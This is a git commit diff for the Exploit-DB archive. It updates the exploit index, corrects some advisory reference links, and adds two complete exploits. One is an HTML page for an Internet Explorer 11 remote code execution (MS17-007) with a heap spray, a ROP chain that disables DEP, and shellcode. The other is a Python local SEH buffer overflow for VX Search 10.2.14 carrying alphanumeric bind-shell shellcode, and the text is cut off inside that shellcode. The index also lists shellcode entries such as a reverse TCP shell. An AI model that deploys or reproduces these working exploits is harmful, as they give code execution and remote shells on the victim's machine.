DB: 2017-11-18
3 new exploits VX Search 10.2.14 - 'Proxy' Buffer Overflow (SEH) Microsoft Internet Explorer 11 (Windows 7 x86) - 'mshtml.dll' Remote Code Execution (MS17-007) Sync Breeze Enterprise 10.1.16 - 'POST' Buffer Overflow JBS 2.0 / JBSX - Administration panel Bypass / Arbitrary File Upload JBS 2.0 / JBSX - Administration Panel Bypass / Arbitrary File Upload Revize CMS - Query_results.jsp SQL Injection Revize CMS - Revize.XML Information Disclosure Revize CMS - 'Query_results.jsp' SQL Injection Revize CMS - 'Revize.XML' Information Disclosure
This commit is contained in:
Offensive Security
parent
dfa43e82f0
commit
092ca10d4d
8 changed files with 422 additions and 6 deletions
|
|
@ -9334,6 +9334,7 @@ id,file,description,date,author,platform,type,port
|
|||
43127,platforms/linux/local/43127.c,"Linux Kernel 4.13 (Ubuntu 17.10) - 'waitid()' SMEP/SMAP/Chrome Sandbox Privilege Escalation",2017-11-06,"Chris Salls",linux,local,0
|
||||
43134,platforms/windows/local/43134.c,"Symantec Endpoint Protection 12.1 - Tamper-Protection Bypass",2017-11-10,hyp3rlinx,windows,local,0
|
||||
43139,platforms/windows/local/43139.c,"IKARUS anti.virus 2.16.7 - 'ntguard_x64' Privilege Escalation",2017-11-13,"Parvez Anwar",windows,local,0
|
||||
43156,platforms/windows/local/43156.py,"VX Search 10.2.14 - 'Proxy' Buffer Overflow (SEH)",2017-11-16,wetw0rk,windows,local,0
|
||||
1,platforms/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote",2003-03-23,kralor,windows,remote,80
|
||||
2,platforms/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote (PoC)",2003-03-24,RoMaNSoFt,windows,remote,80
|
||||
5,platforms/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote",2003-04-03,"Marcin Wolak",windows,remote,139
|
||||
|
|
@ -15955,11 +15956,13 @@ id,file,description,date,author,platform,type,port
|
|||
43112,platforms/unix/remote/43112.rb,"tnftp - 'savefile' Arbitrary Command Execution (Metasploit)",2017-11-03,Metasploit,unix,remote,0
|
||||
43118,platforms/hardware/remote/43118.txt,"Actiontec C1000A Modem - Backdoor Account",2017-11-04,"Joseph McDonagh",hardware,remote,0
|
||||
43121,platforms/windows/remote/43121.txt,"Avaya OfficeScan (IPO) < 10.1 - 'SoftConsole' Buffer Overflow (SEH)",2017-11-05,hyp3rlinx,windows,remote,0
|
||||
43125,platforms/win_x86/remote/43125.html,"Microsoft Internet Explorer 11 (Windows 7 x86) - 'mshtml.dll' Remote Code Execution (MS17-007)",2017-10-17,mschenk,win_x86,remote,0
|
||||
43132,platforms/windows/remote/43132.rb,"Mako Server 2.5 - OS Command Injection Remote Command Execution (Metasploit)",2017-11-09,Metasploit,windows,remote,0
|
||||
43142,platforms/hardware/remote/43142.c,"Wireless IP Camera (P2P) WIFICAM - Unauthenticated Remote Code Execution",2017-03-08,PierreKimSec,hardware,remote,80
|
||||
43141,platforms/windows/remote/43141.py,"Ulterius Server < 1.9.5.0 - Directory Traversal",2017-11-13,"Rick Osgood",windows,remote,0
|
||||
43143,platforms/linux_mips/remote/43143.rb,"D-Link DIR-850L - Unauthenticated OS Command Execution (Metasploit)",2017-11-14,Metasploit,linux_mips,remote,0
|
||||
43145,platforms/windows/remote/43145.py,"Dup Scout Enterprise 10.0.18 - 'Login' Buffer Overflow",2017-11-14,sickness,windows,remote,80
|
||||
42886,platforms/windows/remote/42886.py,"Sync Breeze Enterprise 10.1.16 - 'POST' Buffer Overflow",2017-10-20,mschenk,windows,remote,0
|
||||
14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) + execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0
|
||||
13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0
|
||||
13242,platforms/bsd/shellcode/13242.txt,"BSD - Reverse TCP /bin/sh Shell (127.0.0.1:31337/TCP) Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0
|
||||
|
|
@ -22524,7 +22527,7 @@ id,file,description,date,author,platform,type,port
|
|||
10101,platforms/php/webapps/10101.txt,"telepark wiki 2.4.23 - Multiple Vulnerabilities",2009-11-16,Abysssec,php,webapps,0
|
||||
10105,platforms/php/webapps/10105.txt,"Cifshanghai - 'chanpin_info.php' CMS SQL Injection",2009-11-16,ProF.Code,php,webapps,0
|
||||
40083,platforms/php/webapps/40083.txt,"WordPress Plugin Activity Log 2.3.1 - Persistent Cross-Site Scripting",2016-07-11,"Han Sahin",php,webapps,80
|
||||
10161,platforms/asp/webapps/10161.txt,"JBS 2.0 / JBSX - Administration panel Bypass / Arbitrary File Upload",2009-11-17,blackenedsecurity,asp,webapps,0
|
||||
10161,platforms/asp/webapps/10161.txt,"JBS 2.0 / JBSX - Administration Panel Bypass / Arbitrary File Upload",2009-11-17,blackenedsecurity,asp,webapps,0
|
||||
10165,platforms/php/webapps/10165.txt,"TelebidAuctionScript - 'aid' Blind SQL Injection",2009-11-17,"Hussin X",php,webapps,0
|
||||
10166,platforms/asp/webapps/10166.txt,"ActiveTrade 2.0 - 'default.asp' Blind SQL Injection",2009-11-17,"Hussin X",asp,webapps,0
|
||||
10167,platforms/asp/webapps/10167.txt,"ActiveBids - 'default.asp' Blind SQL Injection",2009-11-17,"Hussin X",asp,webapps,0
|
||||
|
|
@ -29133,8 +29136,8 @@ id,file,description,date,author,platform,type,port
|
|||
26527,platforms/hardware/webapps/26527.txt,"Barracuda SSL VPN 680Vx 2.3.3.193 - Multiple Script Injection Vulnerabilities",2013-07-01,LiquidWorm,hardware,webapps,0
|
||||
26528,platforms/hardware/webapps/26528.txt,"Fortigate Firewalls - Cross-Site Request Forgery",2013-07-01,"Sven Wurth",hardware,webapps,0
|
||||
26530,platforms/php/webapps/26530.txt,"GLPI 0.83.9 - 'Unserialize()' Remote Code Execution",2013-07-01,"Xavier Mehrenberger",php,webapps,0
|
||||
26532,platforms/jsp/webapps/26532.txt,"Revize CMS - Query_results.jsp SQL Injection",2005-11-17,Lostmon,jsp,webapps,0
|
||||
26533,platforms/jsp/webapps/26533.txt,"Revize CMS - Revize.XML Information Disclosure",2005-11-17,Lostmon,jsp,webapps,0
|
||||
26532,platforms/jsp/webapps/26532.txt,"Revize CMS - 'Query_results.jsp' SQL Injection",2005-11-17,Lostmon,jsp,webapps,0
|
||||
26533,platforms/jsp/webapps/26533.txt,"Revize CMS - 'Revize.XML' Information Disclosure",2005-11-17,Lostmon,jsp,webapps,0
|
||||
26534,platforms/jsp/webapps/26534.txt,"Revize CMS HTTPTranslatorServlet - Cross-Site Scripting",2005-11-17,Lostmon,jsp,webapps,0
|
||||
26535,platforms/php/webapps/26535.txt,"Litespeed 2.1.5 - 'ConfMgr.php' Cross-Site Scripting",2005-11-17,"Gama Sec",php,webapps,0
|
||||
26537,platforms/asp/webapps/26537.html,"VP-ASP Shopping Cart - 'Shopadmin.asp' HTML Injection",2005-11-17,ConcorDHacK,asp,webapps,0
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
|
|
@ -14,6 +14,7 @@ through 2.9.8 allows remote attackers to inject arbitrary web script or
|
|||
HTML via the Questions field in an "Add New FAQ" action.
|
||||
|
||||
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14618
|
||||
https://securityprince.blogspot.fr/2017/10/cve-2017-14618-phpmyfaq-298-cross-site.html
|
||||
|
||||
2. Proof of Concept
|
||||
|
||||
|
|
|
|||
|
|
@ -1,8 +1,7 @@
|
|||
# Exploit Title: OctoberCMS 1.0.425 (aka Build 425) Stored XSS
|
||||
# Vendor Homepage: https://octobercms.com/
|
||||
# Software Link: https://octobercms.com/download
|
||||
# Exploit Author: Ishaq Mohammed ( https://www.exploit-db.com/author/?a=9086
|
||||
)
|
||||
# Exploit Author: Ishaq Mohammed ( https://www.exploit-db.com/author/?a=9086)
|
||||
# Contact: https://twitter.com/security_prince
|
||||
# Website: https://about.me/security-prince
|
||||
# Category: webapps
|
||||
|
|
@ -31,6 +30,7 @@ Steps to Reproduce:
|
|||
|
||||
3. Reference
|
||||
|
||||
https://securityprince.blogspot.fr/2017/10/cve-2017-15284-octobercms-10425-build.html
|
||||
https://github.com/octobercms/library/commit/3bbbbf3da469f457881b5af902eb0b89b95189a2
|
||||
|
||||
4. Solution
|
||||
|
|
|
|||
|
|
@ -14,6 +14,7 @@ remote attackers to inject arbitrary web script or HTML via the "Title of
|
|||
your FAQ" field in the Configuration Module.
|
||||
|
||||
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14619
|
||||
https://securityprince.blogspot.fr/2017/10/cve-2017-14619-phpmyfaq-298-cross-site_92.html
|
||||
|
||||
2. Proof of Concept
|
||||
|
||||
|
|
|
|||
|
|
@ -24,7 +24,8 @@ Click on Site Options.
|
|||
Click on the newly added .svg file
|
||||
|
||||
3. Reference
|
||||
|
||||
|
||||
https://securityprince.blogspot.in/2017/11/cve-2017-16807-kirby-cms-257-cross-site.html
|
||||
https://getkirby.com/changelog/kirby-2-5-7
|
||||
|
||||
4. Solution
|
||||
|
|
|
|||
149
platforms/win_x86/remote/43125.html
Normal file
149
platforms/win_x86/remote/43125.html
Normal file
|
|
@ -0,0 +1,149 @@
|
|||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<style>
|
||||
.class1 { float: left; column-count: 5; }
|
||||
.class2 { column-span: all; columns: 1px; }
|
||||
table {border-spacing: 0px;}
|
||||
</style>
|
||||
<script>
|
||||
|
||||
var ntdllBase = "";
|
||||
|
||||
function infoleak() {
|
||||
|
||||
var textarea = document.getElementById("textarea");
|
||||
var frame = document.createElement("iframe");
|
||||
textarea.appendChild(frame);
|
||||
frame.contentDocument.onreadystatechange = eventhandler;
|
||||
form.reset();
|
||||
}
|
||||
|
||||
function eventhandler() {
|
||||
document.getElementById("textarea").defaultValue = "foo";
|
||||
// Object replaced here
|
||||
// one of the side allocations of the audio element
|
||||
var j = document.createElement("canvas");
|
||||
ctx=j.getContext("2d");
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(20,20);
|
||||
ctx.lineTo(20,100);
|
||||
ctx.lineTo(70,100);
|
||||
ctx.strokeStyle="red";
|
||||
ctx.stroke();
|
||||
}
|
||||
|
||||
|
||||
setTimeout(function() {
|
||||
var txt = document.getElementById("textarea");
|
||||
var il = txt.value.substring(2,4);
|
||||
var addr = parseInt(il.charCodeAt(1).toString(16) + il.charCodeAt(0).toString(16), 16);
|
||||
ntdllBase = addr - 0x000d8560;
|
||||
|
||||
alert("NTDLL base addr is: 0x" + ntdllBase.toString(16));
|
||||
spray();
|
||||
boom();
|
||||
}, 1000);
|
||||
|
||||
function writeu(base, offs) {
|
||||
|
||||
var res = 0;
|
||||
if (base != 0) { res = base + offs }
|
||||
else { res = offs }
|
||||
res = res.toString(16);
|
||||
while (res.length < 8) res = "0"+res;
|
||||
return "%u"+res.substring(4,8)+"%u"+res.substring(0,4);
|
||||
|
||||
}
|
||||
|
||||
function spray()
|
||||
{
|
||||
var hso = document.createElement("div");
|
||||
|
||||
var junk = unescape("%u0e0e%u0e0e");
|
||||
while(junk.length < 0x1000) junk += junk;
|
||||
|
||||
//ntdll prefered base addr = 0x77ec0000
|
||||
|
||||
//ROP chain built from NTDLL.DLL to disable DEP using VirtualProtect
|
||||
var rop = unescape(
|
||||
writeu(ntdllBase, 0xB7786) + //0x77f77786: pop ecx ; ret
|
||||
writeu(0, 0x12345678) + //junk to account for retn 0x0004
|
||||
writeu(0, 0x0e0e0e3e) + //addr of size variable placeholder
|
||||
writeu(ntdllBase, 0x26A04) + //0x77ee6a04: xor eax, eax ; ret
|
||||
writeu(ntdllBase, 0xC75C6) + //0x77f875c6: add eax, 0x00001000 ; pop esi ; ret
|
||||
writeu(0, 0x12345678) + //junk into esi
|
||||
writeu(ntdllBase, 0x1345E) + //0x77ed345e: mov dword [ecx], eax ; mov al, 0x01 ; pop ebp ; retn 0x0008
|
||||
writeu(0, 0x12345678) + //junk into ebp
|
||||
writeu(ntdllBase, 0xB7786) + //0x77f77786: pop ecx ; ret
|
||||
writeu(0, 0x12345678) + //junk to account for retn 0x0008
|
||||
writeu(0, 0x12345678) + //junk to account for retn 0x0008
|
||||
writeu(0, 0x0e0e0484) + //addr of protection value placeholder
|
||||
writeu(ntdllBase, 0x26A04) + //0x77ee6a04: xor eax, eax ; ret
|
||||
writeu(ntdllBase, 0x57C32) + //0x77f17c32: add eax, 0x20 ; ret
|
||||
writeu(ntdllBase, 0x57C32) + //0x77f17c32: add eax, 0x20 ; ret
|
||||
writeu(ntdllBase, 0x1345E) + //0x77ed345e: mov dword [ecx], eax ; mov al, 0x01 ; pop ebp ; retn 0x0008
|
||||
writeu(0, 0x12345678) + //junk into ebp
|
||||
writeu(ntdllBase, 0x13F8) + //0x77ec13f8: ret
|
||||
writeu(0, 0x12345678) + //junk to account for retn 0x0008
|
||||
writeu(0, 0x12345678) + //junk to account for retn 0x0008
|
||||
writeu(ntdllBase, 0x00045ae0) + //ntdll!ZwProtectVirtualMemory - ntdll = 0x00045ae0
|
||||
writeu(0, 0x0e0e048c) + //return addr = shellcode addr
|
||||
writeu(0, 0xffffffff) + //process handle (-1)
|
||||
writeu(0, 0x0e0e0e22) + //pointer to addr of shellcode
|
||||
writeu(0, 0x0e0e0e3e) + //pointer to size
|
||||
writeu(0, 0x22222222) + //placeholder for PAGE_EXECUTE_READWRITE = 0x40
|
||||
writeu(0, 0x0e0e0e0a) //addr to write old protection value
|
||||
);
|
||||
|
||||
//Shellcode
|
||||
//root@kali:~# msfvenom -p windows/exec cmd=calc.exe -b "\x00" -f js_le
|
||||
|
||||
var shellcode = unescape("%uec83%u4070" + // move stack pointer away to avoid shellcode corruption
|
||||
"%ucadb%ub6ba%u0f7b%ud99f%u2474%u5ef4%uc929%u31b1%uee83%u31fc%u1456%u5603%u99a2%u63fa%udf22%u9c05%u80b2%u798c%u8083%u0aeb%u30b3%u5e7f%uba3f%u4b2d%uceb4%u7cf9%u647d%ub3dc%ud57e%ud51c%u24fc%u3571%ue73d%u3484%u1a7a%u6464%u50d3%u99db%u2c50%u12e0%ua02a%uc660%uc3fa%u5941%u9a71%u5b41%u9656%u43cb%u93bb%uf882%u6f0f%u2915%u905e%u14ba%u636f%u51c2%u9c57%uabb1%u21a4%u6fc2%ufdd7%u7447%u757f%u50ff%u5a7e%u1266%u178c%u7cec%ua690%uf721%u23ac%ud8c4%u7725%ufce3%u236e%ua58a%u82ca%ub6b3%u7bb5%ubc16%u6f5b%u9f2b%u6e31%ua5b9%u7077%ua5c1%u1927%u2ef0%u5ea8%ue50d%u918d%ua447%u39a7%u3c0e%u27fa%ueab1%u5e38%u1f32%ua5c0%u6a2a%ue2c5%u86ec%u7bb7%ua899%u7b64%uca88%uefeb%u2350%u978e%u3bf3" +
|
||||
"");
|
||||
|
||||
//stack pivot
|
||||
var xchg = unescape(writeu(ntdllBase, 0x2D801)); //0x77eed801: xchg eax, esp ; add al, 0x00 ; pop ebp ; retn 0x0004
|
||||
//first stage ROP chain to do bigger stack pivot
|
||||
var pivot = unescape(
|
||||
writeu(ntdllBase, 0xB7786) + //0x77f77786: pop ecx ; ret
|
||||
writeu(0, 0x12345678) + //junk offset for retn 0x0004
|
||||
writeu(0, 0xfffff5fa) + //offset to add to ESP to get back to the ROP chain
|
||||
writeu(ntdllBase, 0xC4AE7) + //x77f84ae7: add esp, ecx ; pop ebp ; retn 0x0004
|
||||
writeu(0, 0x0e0e028c) //pointer to shellcode for use with ntdll!ZwProtectVirtualMemory
|
||||
);
|
||||
|
||||
var offset = 0x7c9; //magic number - offset into heap spray to reach addr 0x0e0e0e0e
|
||||
var data = junk.substring(0, 0x200) + rop + shellcode + junk.substring(0, offset - 0xd0 - 0x200 - rop.length - shellcode.length) + pivot + junk.substring(0, 0xd0-pivot.length) + xchg;
|
||||
|
||||
data += junk.substring(0, 0x800 - offset - xchg.length);
|
||||
while(data.length < 0x80000) data += data;
|
||||
for(var i = 0; i < 0x350; i++)
|
||||
{
|
||||
var obj = document.createElement("button");
|
||||
obj.title = data.substring(0, (0x7fb00-2)/2);
|
||||
hso.appendChild(obj);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
function boom() {
|
||||
document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
|
||||
th1.align = "right";
|
||||
}
|
||||
|
||||
</script>
|
||||
</head>
|
||||
|
||||
<body onload=infoleak()>
|
||||
<form id="form">
|
||||
<textarea id="textarea" style="display:none" cols="80">aaaaaaaaaaaaa</textarea>
|
||||
</form>
|
||||
<table cellspacing="0">
|
||||
<tr class="class1">
|
||||
<th id="th1" colspan="0" width=2000000></th>
|
||||
<th class="class2" width=0><div class="class2"></div></th>
|
||||
</table>
|
||||
</body>
|
||||
</html>
|
||||
208
platforms/windows/local/43156.py
Executable file
208
platforms/windows/local/43156.py
Executable file
|
|
@ -0,0 +1,208 @@
|
|||
#!/usr/bin/env python
|
||||
#
|
||||
# Exploit Title : VXSearch v10.2.14 Local SEH Overflow
|
||||
# Date : 11/16/2017
|
||||
# Exploit Author : wetw0rk
|
||||
# Vendor Homepage : http://www.flexense.com/
|
||||
# Software link : http://www.vxsearch.com/setups/vxsearchent_setup_v10.2.14.exe
|
||||
# Version : 10.2.14
|
||||
# Tested on : Windows 7 (x86)
|
||||
# Description : VX Search v10.2.14 suffers from a local buffer overflow. The
|
||||
# following exploit will generate a bind shell on port 1337. I
|
||||
# was unable to get a shell working with msfvenom shellcode so
|
||||
# below is a custom alphanumeric bind shell. Greetz rezkon ;)
|
||||
#
|
||||
# trigger the vulnerability by :
|
||||
# Tools -> Advanced options -> Proxy -> *Paste In Proxy Host Name
|
||||
#
|
||||
|
||||
import struct
|
||||
|
||||
shellcode = "w00tw00t"
|
||||
shellcode += (
|
||||
"\x25\x4a\x4d\x4e\x55" # and eax, 0x554e4d4a
|
||||
"\x25\x35\x32\x31\x2a" # and eax, 0x2a313235
|
||||
"\x2d\x6a\x35\x35\x35" # sub eax, 0x3535356a
|
||||
"\x2d\x65\x6a\x6a\x65" # sub eax, 0x656a6a65
|
||||
"\x2d\x61\x64\x4d\x65" # sub eax, 0x654d6461
|
||||
"\x50" # push eax
|
||||
"\x5c" # pop esp
|
||||
)
|
||||
shellcode += (
|
||||
"\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x4f\x4f\x4f\x4f"
|
||||
"\x2d\x4f\x30\x4f\x68\x2d\x62\x2d\x62\x72\x50\x25\x4a\x4d\x4e"
|
||||
"\x55\x25\x35\x32\x31\x2a\x2d\x76\x57\x57\x63\x2d\x77\x36\x39"
|
||||
"\x32\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x41\x54"
|
||||
"\x54\x54\x2d\x25\x54\x7a\x2d\x2d\x25\x52\x76\x36\x50\x25\x4a"
|
||||
"\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x49\x35\x49\x49\x2d\x49"
|
||||
"\x25\x49\x69\x2d\x64\x25\x72\x6c\x50\x25\x4a\x4d\x4e\x55\x25"
|
||||
"\x35\x32\x31\x2a\x2d\x70\x33\x33\x25\x2d\x70\x25\x70\x25\x2d"
|
||||
"\x4b\x6a\x56\x39\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a"
|
||||
"\x2d\x79\x55\x75\x32\x2d\x79\x75\x75\x55\x2d\x79\x77\x77\x78"
|
||||
"\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x25\x4a\x4a"
|
||||
"\x25\x2d\x39\x5f\x4d\x34\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32"
|
||||
"\x31\x2a\x2d\x4b\x57\x4b\x57\x2d\x70\x76\x4b\x79\x2d\x70\x76"
|
||||
"\x78\x79\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x49"
|
||||
"\x49\x49\x49\x2d\x49\x4e\x64\x49\x2d\x78\x25\x78\x25\x2d\x6f"
|
||||
"\x25\x7a\x48\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d"
|
||||
"\x58\x58\x38\x58\x2d\x58\x30\x32\x58\x2d\x51\x46\x2d\x47\x50"
|
||||
"\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5f\x52\x5f\x5f"
|
||||
"\x2d\x5f\x25\x25\x35\x2d\x62\x39\x25\x25\x50\x25\x4a\x4d\x4e"
|
||||
"\x55\x25\x35\x32\x31\x2a\x2d\x4a\x4a\x4a\x4a\x2d\x4a\x4a\x4a"
|
||||
"\x4a\x2d\x79\x39\x4a\x79\x2d\x6d\x32\x4b\x68\x50\x25\x4a\x4d"
|
||||
"\x4e\x55\x25\x35\x32\x31\x2a\x2d\x30\x30\x71\x30\x2d\x30\x25"
|
||||
"\x71\x30\x2d\x38\x31\x51\x5f\x50\x25\x4a\x4d\x4e\x55\x25\x35"
|
||||
"\x32\x31\x2a\x2d\x32\x32\x32\x32\x2d\x78\x77\x7a\x77\x50\x25"
|
||||
"\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x62\x62\x62\x62\x2d"
|
||||
"\x48\x57\x47\x4f\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a"
|
||||
"\x2d\x76\x76\x4f\x4f\x2d\x36\x39\x5a\x5a\x50\x25\x4a\x4d\x4e"
|
||||
"\x55\x25\x35\x32\x31\x2a\x2d\x61\x61\x61\x61\x2d\x4a\x61\x4a"
|
||||
"\x25\x2d\x45\x77\x53\x35\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32"
|
||||
"\x31\x2a\x2d\x63\x63\x63\x63\x2d\x39\x63\x63\x2d\x2d\x32\x63"
|
||||
"\x7a\x25\x2d\x31\x49\x7a\x25\x50\x25\x4a\x4d\x4e\x55\x25\x35"
|
||||
"\x32\x31\x2a\x2d\x72\x79\x79\x79\x2d\x25\x30\x25\x30\x2d\x25"
|
||||
"\x32\x25\x55\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d"
|
||||
"\x58\x58\x41\x58\x2d\x58\x58\x25\x77\x2d\x6e\x51\x32\x69\x50"
|
||||
"\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x48\x77\x38\x48"
|
||||
"\x2d\x4e\x76\x6e\x61\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31"
|
||||
"\x2a\x2d\x41\x41\x6e\x6e\x2d\x31\x31\x30\x6e\x2d\x37\x36\x30"
|
||||
"\x2d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x38\x38"
|
||||
"\x38\x38\x2d\x38\x79\x38\x25\x2d\x38\x79\x38\x25\x2d\x58\x4c"
|
||||
"\x73\x25\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x61"
|
||||
"\x52\x61\x52\x2d\x37\x4a\x31\x49\x50\x25\x4a\x4d\x4e\x55\x25"
|
||||
"\x35\x32\x31\x2a\x2d\x4d\x47\x4d\x4d\x2d\x30\x25\x4d\x6b\x2d"
|
||||
"\x36\x32\x66\x71\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a"
|
||||
"\x2d\x36\x43\x43\x6c\x2d\x33\x54\x47\x25\x50\x25\x4a\x4d\x4e"
|
||||
"\x55\x25\x35\x32\x31\x2a\x2d\x4c\x4c\x4c\x4c\x2d\x6e\x4c\x6e"
|
||||
"\x36\x2d\x65\x67\x6f\x25\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32"
|
||||
"\x31\x2a\x2d\x25\x25\x4b\x4b\x2d\x25\x25\x6f\x4b\x2d\x4e\x41"
|
||||
"\x59\x2d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x41"
|
||||
"\x41\x41\x41\x2d\x52\x52\x78\x41\x2d\x6e\x6c\x70\x25\x50\x25"
|
||||
"\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x30\x6c\x30\x30\x2d"
|
||||
"\x30\x6c\x6c\x30\x2d\x38\x70\x79\x66\x50\x25\x4a\x4d\x4e\x55"
|
||||
"\x25\x35\x32\x31\x2a\x2d\x42\x70\x70\x45\x2d\x32\x45\x70\x31"
|
||||
"\x2d\x25\x4b\x49\x31\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31"
|
||||
"\x2a\x2d\x25\x50\x50\x50\x2d\x25\x7a\x72\x25\x2d\x4e\x73\x61"
|
||||
"\x52\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x35\x77"
|
||||
"\x74\x74\x2d\x61\x78\x35\x34\x50\x25\x4a\x4d\x4e\x55\x25\x35"
|
||||
"\x32\x31\x2a\x2d\x30\x30\x30\x30\x2d\x30\x30\x59\x30\x2d\x30"
|
||||
"\x30\x74\x51\x2d\x6b\x36\x79\x67\x50\x25\x4a\x4d\x4e\x55\x25"
|
||||
"\x35\x32\x31\x2a\x2d\x75\x38\x43\x43\x2d\x7a\x31\x43\x43\x2d"
|
||||
"\x7a\x2d\x77\x79\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a"
|
||||
"\x2d\x59\x59\x59\x59\x2d\x59\x59\x59\x59\x2d\x6f\x6c\x4d\x77"
|
||||
"\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x45\x45\x45"
|
||||
"\x45\x2d\x34\x2d\x76\x45\x2d\x37\x25\x5a\x65\x50\x25\x4a\x4d"
|
||||
"\x4e\x55\x25\x35\x32\x31\x2a\x2d\x34\x34\x34\x34\x2d\x62\x34"
|
||||
"\x34\x34\x2d\x6d\x56\x47\x57\x50\x25\x4a\x4d\x4e\x55\x25\x35"
|
||||
"\x32\x31\x2a\x2d\x2d\x2d\x2d\x2d\x2d\x76\x2d\x2d\x76\x2d\x55"
|
||||
"\x4c\x55\x7a\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d"
|
||||
"\x77\x77\x77\x30\x2d\x47\x47\x79\x30\x2d\x42\x42\x39\x34\x50"
|
||||
"\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x56\x75\x36\x51"
|
||||
"\x2d\x42\x61\x49\x43\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31"
|
||||
"\x2a\x2d\x56\x56\x31\x56\x2d\x31\x79\x31\x25\x2d\x50\x6c\x48"
|
||||
"\x34\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x72\x72"
|
||||
"\x72\x72\x2d\x72\x25\x38\x38\x2d\x38\x25\x25\x25\x2d\x54\x41"
|
||||
"\x30\x30\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x47"
|
||||
"\x47\x47\x76\x2d\x47\x47\x76\x76\x2d\x6b\x72\x6c\x5a\x50\x25"
|
||||
"\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x25\x71\x25\x71\x2d"
|
||||
"\x73\x42\x63\x68\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a"
|
||||
"\x2d\x48\x55\x51\x51\x2d\x45\x78\x4f\x5a\x50\x25\x4a\x4d\x4e"
|
||||
"\x55\x25\x35\x32\x31\x2a\x2d\x45\x45\x45\x32\x2d\x45\x45\x25"
|
||||
"\x31\x2d\x76\x75\x2d\x25\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32"
|
||||
"\x31\x2a\x2d\x6e\x4f\x6d\x6e\x2d\x35\x48\x5f\x5f\x50\x25\x4a"
|
||||
"\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x2d\x2d\x2d\x2d\x2d\x71"
|
||||
"\x2d\x2d\x71\x2d\x71\x2d\x4a\x71\x2d\x66\x65\x70\x62\x50\x25"
|
||||
"\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x56\x30\x56\x30\x2d"
|
||||
"\x56\x38\x25\x30\x2d\x74\x37\x25\x45\x50\x25\x4a\x4d\x4e\x55"
|
||||
"\x25\x35\x32\x31\x2a\x2d\x32\x32\x32\x77\x2d\x32\x32\x32\x32"
|
||||
"\x2d\x43\x41\x4a\x57\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31"
|
||||
"\x2a\x2d\x63\x63\x63\x30\x2d\x79\x41\x41\x6e\x50\x25\x4a\x4d"
|
||||
"\x4e\x55\x25\x35\x32\x31\x2a\x2d\x4b\x4b\x4b\x4b\x2d\x4b\x4b"
|
||||
"\x25\x31\x2d\x4b\x71\x25\x32\x2d\x4f\x6e\x25\x2d\x50\x25\x4a"
|
||||
"\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x37\x37\x37\x37\x2d\x6d"
|
||||
"\x37\x6d\x37\x2d\x6d\x37\x6d\x37\x2d\x64\x55\x63\x58\x50\x25"
|
||||
"\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x44\x6c\x6c\x6c\x2d"
|
||||
"\x34\x44\x44\x6c\x2d\x30\x33\x4e\x54\x50\x25\x4a\x4d\x4e\x55"
|
||||
"\x25\x35\x32\x31\x2a\x2d\x2d\x7a\x43\x2d\x2d\x48\x79\x71\x47"
|
||||
"\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x41\x41\x41"
|
||||
